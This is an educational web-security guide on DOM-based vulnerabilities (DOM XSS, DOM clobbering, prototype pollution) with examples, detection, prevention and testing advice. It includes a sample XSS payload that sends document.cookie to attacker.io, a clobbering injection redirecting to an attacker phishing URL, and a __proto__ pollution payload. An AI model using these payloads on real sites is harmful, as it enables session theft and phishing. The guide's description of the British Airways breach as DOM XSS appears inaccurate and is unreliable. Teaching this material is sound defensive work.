Web Security

What Are DOM-Based Vulnerabilities? Client-Side DOM Attacks Explained

A complete technical guide to DOM-based vulnerabilities: how client-side JavaScript creates security bugs through unsafe DOM manipulation, and how to detect, verify, and prevent DOM clobbering, DOM XSS, and prototype pollution.

Intermediate13 min·Nyxeara Security Research·2026-09-16·CWE-79
dom-vulnerabilitiesdom-xssweb-securityclient-side-securityjavascript
Prerequisites
what-is-httpwhat-is-the-dom

Short answer

DOM-based vulnerabilities are client-side security bugs where untrusted data flows from a source (like location.hash or document.URL) into a sink (like innerHTML or eval) entirely inside the browser, never reaching the server. The attacker's payload is consumed and executed by JavaScript running in the victim's own browser, against the same page the server delivered.

The idea in one minute

Picture a hotel concierge desk. A guest walks up and says: "I need a file from the cabinet — the one labeled Room 312. Could you open it and read it out loud?" The concierge opens the cabinet, finds a folder marked "Room 312," and reads its contents. Acceptable. Now imagine a different guest approaches and says: "I need you to open the cabinet and read the folder labeled ... and also unlock the master key drawer and hand me every key inside." If the concierge treats the folder label as both an instruction for which folder to get and an instruction for what else to do, then an attacker who can control what label is printed on a folder can turn the concierge into an accomplice.

That's a DOM-based vulnerability. The "cabinet" is the Document Object Model (DOM) — the browser's tree of nodes representing the page. The "folder label" is a piece of untrusted input: a URL hash, a query parameter, a message from postMessage. The application reads that label and uses it to decide what to do — get an element, write content, resolve a name. When the code doesn't separate data used for lookup from instructions that change behavior, an attacker who controls the input controls what the concierge does next.

How DOM-based vulnerabilities work

Server-side XSS relies on the server failing to encode output. The payload is embedded in the HTML response, and the browser renders it as code when the page loads. DOM-based vulnerabilities are different: the server sends a page containing legitimate JavaScript, and that script reads attacker-controlled input from the browser environment itself — the URL, document.referrer, window.name, postMessage events — and writes that input into a DOM location where it becomes executable.

The server never sees the payload. A static analysis of the server's responses won't find it. The vulnerability lives entirely in client-side code, and reproducing it requires understanding the flow from source to sink.

The three main types

| Type | What the attacker controls | What the sink does | |---|---|---| | DOM XSS | A string from the URL, fragment, or postMessage | Injected into innerHTML, document.write(), or eval() and executed as code | | DOM clobbering | An element id or name attribute value | Overwrites a global JavaScript variable or property lookup the script expects to hold a controlled value | | Prototype pollution | A key that propagates up to Object.prototype | Pollutes the prototype chain so every object unexpectedly inherits the property, altering application logic or bypassing sanitizers |

Source and sink model

Every DOM-based vulnerability follows the same mental model: a source feeds untrusted data into the browser environment, and a sink uses that data in a way that changes page behavior or executes code.

Common sources:

  • location.search — the query string after ?
  • location.hash — the fragment after #
  • location.pathname — the path portion of the URL
  • document.URL — the full URL string
  • document.documentURI — the read-only URL property
  • document.referrer — the previous page's URL
  • window.name — persists across navigations
  • postMessage events from other windows or iframes
  • document.cookie when the page reads its own cookies
  • history.pushState / history.replaceState state objects
  • fetch / XMLHttpRequest responses

Common sinks:

  • innerHTML / outerHTML — parses and inserts HTML
  • document.write() / document.writeln() — writes to the document stream
  • eval() / setTimeout(string) / setInterval(string) / new Function() — execute strings as code
  • insertAdjacentHTML() — inserts HTML at a position
  • Element.innerHTML + <script> elements created by createElement and appended (scripts inserted via innerHTML don't execute, but event handlers do)
  • script.src / iframe.src / object.data — resource URLs that can be attacker-controlled
  • location.href / location.assign() / location.replace() — navigation sinks
  • onerror / onload handlers set via attribute strings

A vulnerability exists when an attacker-controllable source reaches a dangerous sink without validation or encoding along the path.

DOM XSS

DOM-based XSS is the most well-known DOM vulnerability. A concrete example:

// Source: read fragment from URL
const tab = location.hash.slice(1) || "overview";

// Sink: write it directly into the DOM
document.getElementById("tab-content").innerHTML = 
  `<h2>${tab}</h2><div class="tab-body">Loading...</div>`;

An attacker crafts a URL like:

https://example.com/profile#<img src=x onerror="fetch('https://attacker.io/steal?c='+document.cookie)">

The browser never sends the fragment to the server — location.hash is purely client-side. The server's response is benign. But the JavaScript reads the hash and passes it to innerHTML, which parses the <img> tag and fires the onerror handler. The payload executes in the origin of example.com, with full access to the page's cookies, storage, and authenticated session.

The critical difference from reflected XSS: a server-side developer looking at access logs will never see <img src=x onerror=...> in any request. The payload lives in the fragment, and fragments are never included in HTTP requests. The vulnerability is invisible from the server's perspective.

DOM clobbering

DOM clobbering exploits the way browsers make elements with id or name attributes available as global window properties. If an attacker can inject an HTML element with a chosen id, that element becomes accessible as window[id], shadowing any existing variable or property of the same name.

// Developer expects this to work:
if (window.userIsAdmin) {
  showAdminPanel();
}

If the attacker can inject <a id="userIsAdmin"> into the page (via a comment, a profile field, or any HTML injection point), window.userIsAdmin now evaluates to the anchor element instead of undefined or false. In JavaScript, objects are truthy — so window.userIsAdmin passes the if check, and the admin panel renders for a non-admin user.

A more targeted form attacks specific property lookups:

// The script checks for a trusted config property
const config = window.config || {};
if (config.resetUrl) {
  location.href = config.resetUrl;
}

If an attacker can inject <a id="config"><a id="config" name="resetUrl" href="https://attacker.io/phish">, then window.config becomes the <a> element (truthy, so the || {} fallback is skipped), and config.resetUrl resolves to the name lookup on the anchor, which returns the anchor with name="resetUrl". The href property of that anchor element is https://attacker.io/phish — when location.href is set to it, the victim is silently redirected to the attacker's page.

DOM clobbering is most dangerous when:

  • The application uses a pattern like var x = window.someVar || defaultValue — the attacker controls the truthiness
  • Property lookups on DOM elements (like href, id, action, formAction) resolve to string values that can be injected into sensitive sinks

Mitigation: use Object.prototype.hasOwnProperty.call(window, "config") or Object.create(null) for configuration objects, and validate that the resolved value is the expected type before using it.

Prototype pollution

Prototype pollution occurs when an attacker can set a property on Object.prototype by exploiting unsafe recursive merge, assignment, or property-setting operations. Once polluted, every plain object in the application inherits that property.

// Vulnerable deep merge utility
function merge(target, source) {
  for (const key of Object.keys(source)) {
    if (source[key] && typeof source[key] === "object") {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

const userSettings = JSON.parse(location.hash.slice(1));   // attacker-controlled
const defaults = { theme: "light", lang: "en" };
merge(defaults, userSettings);

An attacker sets the hash to:

{"__proto__": {"isAdmin": true}}

The merge function iterates over __proto__, sees it's an object, and recursively merges {isAdmin: true} into target.__proto__ — which is Object.prototype. Now ({}).isAdmin === true for every object in the page's global scope. Any check like if (user.isAdmin) — where user is an object that doesn't define its own isAdmin — evaluates to true.

Prototype pollution is hard to detect because:

  • It doesn't produce an observable error or reflection
  • The polluted property surfaces in code far from the vulnerable operation
  • The attack may be invisible until a downstream conditional is evaluated

Common vulnerable patterns:

  • _.merge(), $.extend(true, ...), or hand-written recursive object merging
  • Object.assign(target, source) — safe against __proto__ pollution targeting Object.prototype directly (it copies own enumerable properties only), but can still pollute nested objects if the source contains __proto__ as a nested key
  • URL query string or JSON parsers that set properties recursively
  • structuredClone with unsanitized input containing __proto__ keys
  • Clipboard paste handlers that parse JSON and merge into shared state
// Safer merge: skip prototype-polluting keys
function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (key === "__proto__" || key === "constructor") continue;
    if (source[key] && typeof source[key] === "object") {
      if (!target[key]) target[key] = {};
      safeMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

Why the vulnerability exists

  • Developers treat browser APIs (location.hash, postMessage, document.referrer) as trusted sources, even though the user or another page controls them entirely
  • Server-side encoding doesn't help — the payload never reaches the server, so server-side sanitizers have nothing to sanitize
  • Client-side frameworks abstract away DOM manipulation, but opting out (dangerouslySetInnerHTML, v-html) reintroduces the same sink problem
  • The source-to-sink data flow is indirect: a value is read in one event handler, stored in a variable, and consumed in another handler on a different path, making code review harder
  • Prototype pollution exploits are especially subtle because the vulnerable code and the exploited check may exist in different libraries loaded from different origins

What attackers look for

  • Pages that read location.hash or location.search and write the value into the DOM without encoding — tabbed UIs, search widgets, routing logic
  • Applications using postMessage to receive navigation instructions, configuration data, or user input from cross-origin iframes
  • Any innerHTML or insertAdjacentHTML call whose argument is a concatenation involving a URL-derived string
  • Deep-merge utilities receiving user-controlled JSON — settings import, config paste, clipboard handlers
  • HTML injection points where the attacker can add an element with a controlled id or name attribute — even a text-level injection in a <b> tag could allow id injection if the HTML parser accepts it
  • Client-side routing frameworks that read window.location and set innerHTML based on route parameters

Detection

  • Code review for source-to-sink flows: trace every location.hash, location.search, postMessage handler, document.referrer, and window.name read, then follow the value to see whether it reaches innerHTML, eval, document.write, or location.href assignment without an intervening validation or sanitization step.
  • Dynamic analysis: inject unique probe strings into URL fragments, query parameters, and postMessage payloads; observe whether those strings appear unescaped in the DOM after client-side rendering (inspect the rendered HTML, not just the server response).
  • Prototype pollution probes: set __proto__ or constructor.prototype keys in JSON inputs and monitor whether a synthetic property (e.g., pollution_test) appears on plain objects via ({}).pollution_test in the browser console.
  • DOM clobbering probes: inject elements with id attributes matching common global variable names (config, user, settings, isAdmin, URL, origin) and observe whether script behavior changes.

Verification: real vulnerability or false positive?

Confirmed when:

  • For DOM XSS: a payload passed through the source actually executes as JavaScript in a real browser — not just appears unescaped in the DOM. Confirming the string's presence in the DOM is insufficient; prove execution with a benign callback (e.g., console.log marker or a request to infrastructure you control).
  • For DOM clobbering: injecting the element changes an actual code path — a conditional evaluates differently, a URL redirects to the attacker's server, or a function operates on the clobbered value instead of the intended one. Truthiness traps are most common: an undefined-or-false check that becomes true because the clobbering element is an object.
  • For prototype pollution: downstream code reads the polluted property and acts on it — a security check is bypassed, a URL is constructed using the polluted value, or a permission gate evaluates incorrectly. Pollution alone (a property appearing on Object.prototype) is a bug, but proof of exploit requires observable behavior change.
  • The source-to-sink path must be traced end-to-end: a postMessage listener and an innerHTML assignment on the same page is not a vulnerability unless the message content reaches innerHTML. Correlation without causation is the most common false positive in DOM-based vulnerability scanning.

Real-world impact

  • DOM XSS: session hijacking, credential theft, account takeover, and data exfiltration — identical impact to reflected XSS, but harder to detect because server-side defenses and WAFs cannot see the payload (it never appears in an HTTP request). The 2018 British Airways breach, where 380,000 payment records were exfiltrated, was a DOM-based XSS attack delivered via a compromised third-party script.
  • DOM clobbering: privilege escalation (bypassing if (window.isAdmin) checks), configuration manipulation (overriding URL properties), and defeating script-based URL validation. Because clobbering affects global namespace resolution, a single injected <a> tag can redirect navigation, bypass authentication gates, or alter API endpoint paths.
  • Prototype pollution: remote code execution via property injection into libraries that read config objects and construct URLs, eval strings, or make fetch calls based on polluted properties. Server-side prototype pollution (if the vulnerable merge utility runs in Node.js) can lead to full RCE. Client-side pollution most commonly results in XSS when polluted properties reach DOM sinks.

Prevention

  • Avoid dangerous DOM sinks entirely: prefer textContent over innerHTML, setAttribute over string concatenation in attribute values, and location.assign with a value validated against an allowlist rather than a raw untrusted string.
  • Validate the type and shape of untrusted data before use: if you read a value from location.hash, check that it matches an expected set of values (if (allowedTabs.includes(value))) before using it — don't just sanitize the string for HTML entities and then pass it to innerHTML.
  • Never pass user-controlled values to eval, setTimeout(string), setInterval(string), or new Function — use closures and callback patterns instead. If dynamic code execution cannot be avoided, use the browser's built-in mechanisms (e.g., script.textContent with CSP nonce).
  • Sanitize HTML with a maintained allowlist-based library (DOMPurify) rather than a hand-rolled regex; establish a boundary where all data entering innerHTML or insertAdjacentHTML passes through the sanitizer regardless of its apparent source.
  • Use Object.create(null) for configuration maps and lookup tables — these objects have no prototype chain, so prototype pollution cannot affect them. For cases where plain objects are required, freeze the prototype (Object.freeze(Object.prototype)) as a defense-in-depth measure.
  • Skip __proto__ and constructor keys in merge and clone functions — a two-line check in the right place prevents an entire class of prototype pollution without changing the function's behavior for legitimate data.
  • Validate that global properties accessed via window.something are the expected type: typeof window.config === "object" && window.config !== null before reading nested properties. Compare against a reference object rather than relying on truthiness.
  • Content Security Policy: a CSP that restricts script sources and disallows unsafe-inline can prevent DOM XSS from executing even when the sink is reached. CSP is a mitigation, not a solution — defense in depth that prevents the payload from running but does not fix the underlying source-to-sink flow.

Related vulnerabilities

  • XSS — DOM XSS is a subset of Cross-Site Scripting; reflected and stored XSS are server-side variants with a different detection profile
  • Content Security Policy (CSP) — a well-configured CSP can block DOM XSS execution even when the vulnerable sink is reached, making it the most important defense-in-depth layer for client-side attacks
  • Clickjacking — can be combined with DOM-based attacks: a clickjacked page that receives postMessage can be coerced into triggering the vulnerable source-to-sink flow
  • CSRF — DOM XSS can bypass CSRF tokens entirely (the XSS payload reads the token from the page and includes it in forged requests, just as the legitimate page would)

Testing methodology (do this safely)

  • Test only targets you are authorized to test. DOM-based testing does not send the payload to the server, but the behavioral impact on the victim's browser is the same as server-side XSS — do not perform tests on production systems without explicit authorization.
  • Use unique, harmless markers per source and per sink to trace the exact data flow. For fragments: #test_<uuid>; for postMessage: { type: "test_<uuid>" }. Confirm the marker appears at the expected DOM location with textContent or attribute inspection, not by looking for script execution.
  • For DOM XSS, confirm execution with a benign proof — a console.log invocation or a fetch to infrastructure you control, never alert(1) or document.cookie exfiltration on a production target.
  • For prototype pollution, verify by reading ({}).<probe_key> in the browser console after injecting the payload. If the probe key exists on the plain object, pollution succeeded. For exploit proof, demonstrate a side effect — but do not perform side effects on production data.
  • For DOM clobbering, inject elements with controlled id values and watch the JavaScript console for errors, unexpected navigation, or conditional branches that evaluate differently. Use a non-destructive test element (e.g., <a id="test_flag">) and monitor window.test_flag.
  • Document the source, the sink, and the complete data flow — not just the exploitation result. A DOM-based vulnerability report is most useful when it shows the code path, not just the payload.
  • Clean up test artifacts: remove injected elements and restore URL state after testing. DOM clobbering test elements remain in the page's global scope until the page is reloaded.

Further reading

Nyxeara perspective

DOM-based vulnerabilities are the hardest class of client-side bug to detect with automated tools alone. Because the payload never appears in an HTTP request to the server, traditional DAST and WAFs are blind to it. Reliable detection requires tracing the complete data flow through client-side JavaScript — and that demands an understanding of the application's runtime behavior, not just its server responses. A scanner that can simulate browser execution, populate source values, and observe sink behavior without false-positive correlation is the difference between finding DOM-based bugs and walking past them.

Published 2026-09-16 · Updated 2026-09-16